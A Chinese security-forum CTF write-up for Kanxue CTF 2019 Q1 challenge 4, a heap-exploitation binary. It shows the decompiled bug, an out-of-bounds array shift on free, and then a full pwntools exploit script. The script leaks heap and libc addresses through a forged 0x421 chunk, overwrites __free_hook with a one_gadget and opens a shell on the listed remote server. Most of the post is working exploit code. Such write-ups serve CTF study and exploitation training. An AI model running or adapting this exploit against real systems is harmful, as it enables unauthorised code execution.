首页
社区
课程
招聘
看雪CTF2019Q1-第4题
2019-3-18 22:26 2380

看雪CTF2019Q1-第4题

2019-3-18 22:26
2380
checksec apwn
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

功能
  puts("1.create singledog");
  puts("2.create luckydog");
  puts("3.edit singledog");
  puts("4.edit luckydog");
  puts("5.save singledog");
  puts("6.exit");
  puts(">>");

相关结构
struct single {
	char name[32];
};

struct luckydog {
	single *partner;
	char name[24];
};

single g_singles[80];
luckydog g_doubles[80];

edit singledog(只有这个有输出)
  if ( g_singles[i] )
  {
    read(0, g_singles[i], 0x20uLL);
    printf("new name: %s", g_singles[i]);
  }

edit_luckydog
  if ( g_doubles[i] )
  {
    puts("Oh,luckydog,What is your new name?");
    read(0, g_doubles[i]->name, 0x18uLL);
    puts("your partner's new name");
    read(0, g_doubles[i]->partner, 0x20uLL);
  }

save_singledog, 这里single_num为80的时候, 会越界复制
  i1 = rand() % lucky_num;
  i2 = rand() % single_num;
  printf("luckydog %d save singledog%d!\n", i1, i2);
  lucky_dog = g_doubles[i1];
  single_dog = g_singles[i2];
  free(lucky_dog->partner);
  lucky_dog->partner = single_dog;
  for ( i = i2; i < single_num; ++i )
    g_singles[i] = g_singles[i + 1];
  --single_num;

利用思路
1. leak堆地址
2. leak libc地址: 构造fake_chunk(因为开启了tcache, 大小必须>0x400)并free
3. one_gadget覆盖free_hook得到shell

利用脚本(根据堆偏移可知服务器开启了tcache)
from pwn import *

target_file = './apwn'
# target_file = './linux_server64'
# context.log_level = 'debug'
context.binary = target_file
elf = ELF(target_file)

if args['REMOTE']:
    libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
    libc = ELF(libc_path)
    heap_start_offset = 0x250  # tcache
    main_arena_top = libc.symbols['__malloc_hook'] + 0x70
    one_gadget = 0x4f322
else:
    libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
    libc = ELF(libc_path)
    heap_start_offset = 0x250 + 0x410  # tcache+buf
    main_arena_top = libc.symbols['__malloc_hook'] + 0x70
    one_gadget = 0x4f322

if args['REMOTE']:
    io = remote('211.159.175.39', 8686)
else:
    io = process([
        target_file
    ])
    print('libc: %x' % io.libc.address)


def x_single_dog(name):
    io.sendlineafter('>>', '1')
    io.sendafter('Name:', name)
    return


def x_lucky_dog(name1, name2):
    io.sendlineafter('>>', '2')
    io.sendafter('Name', name1)
    io.sendafter('your partner\'s name', name2)
    return


def x_edit_single_dog(i, name):
    io.sendlineafter('>>', '3')
    io.sendlineafter('which?', str(i))
    io.sendafter('good luck.', name)
    io.recvuntil('new name: ')
    buf = io.recvuntil('1.create singledog', drop=True)
    return buf


def x_edit_lucky_dog(i, name1, name2):
    io.sendlineafter('>>', '4')
    io.sendlineafter('which?', str(i))
    io.sendafter('new name?', name1)
    io.sendafter('new name', name2)
    return


def x_save_single_dog():
    io.sendlineafter('>>', '5')
    io.recvuntil('saved?\nluckydog ')
    i1 = int(io.recvuntil(' ', drop=True), 10)
    io.recvuntil('singledog')
    i2 = int(io.recvuntil('!', drop=True), 10)
    return i1, i2


def x_get_single_dog_offset(n):
    return 0x60 + 0x30 * n + 0x10


def x_read_v(index, offset, buf):
    buf = x_edit_single_dog(index, buf)[offset:]
    return u64(buf.ljust(8, '\x00'))


def x_update_partner(buf):
    x_edit_single_dog(79, buf)
    return


def x_free_partner():
    _, i2 = x_save_single_dog()
    return i2


def test():
    x_lucky_dog('l1', 'p1')
    for i in range(80):
        if args['REMOTE']:
            print('create single_dog %i' % i)
        x_single_dog('s%d' % i)
    _, partner_index = x_save_single_dog()
    print('partner: %d' % partner_index)
    heap_offset = x_get_single_dog_offset(partner_index)
    print('heap_offset: %x' % heap_offset)
    heap_addr = x_read_v(79, 0, p8(0x01))
    print('heap_addr: %x' % heap_addr)
    heap_start = heap_addr - 0x01 + ((heap_start_offset + heap_offset) & 0xFF) - heap_offset
    print('heap_start: %x' % heap_start)

    # fake chunk(size > 0x400) to be freed
    x_edit_single_dog(0, p64(0) + p64(0x421))
    # next chunk
    x_edit_single_dog(22, p64(0) + p64(0x21))
    x_update_partner(p64(heap_start + x_get_single_dog_offset(0) + 0x10))
    partner_index = x_free_partner()
    print('partner: %d' % partner_index)
    v = x_read_v(0, 16, 'A'*16)

    if v == 0:
        print('leak failed')
        io.close()
        return

    print('libc_addr: %x' % v)
    libc_base = v - main_arena_top
    print('libc_base: %x' % libc_base)

    x_update_partner(p64(libc_base + libc.symbols['__free_hook']))
    x_edit_lucky_dog(0, 'a', p64(libc_base + one_gadget))
    x_free_partner()

    io.interactive()
    return


test()



[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回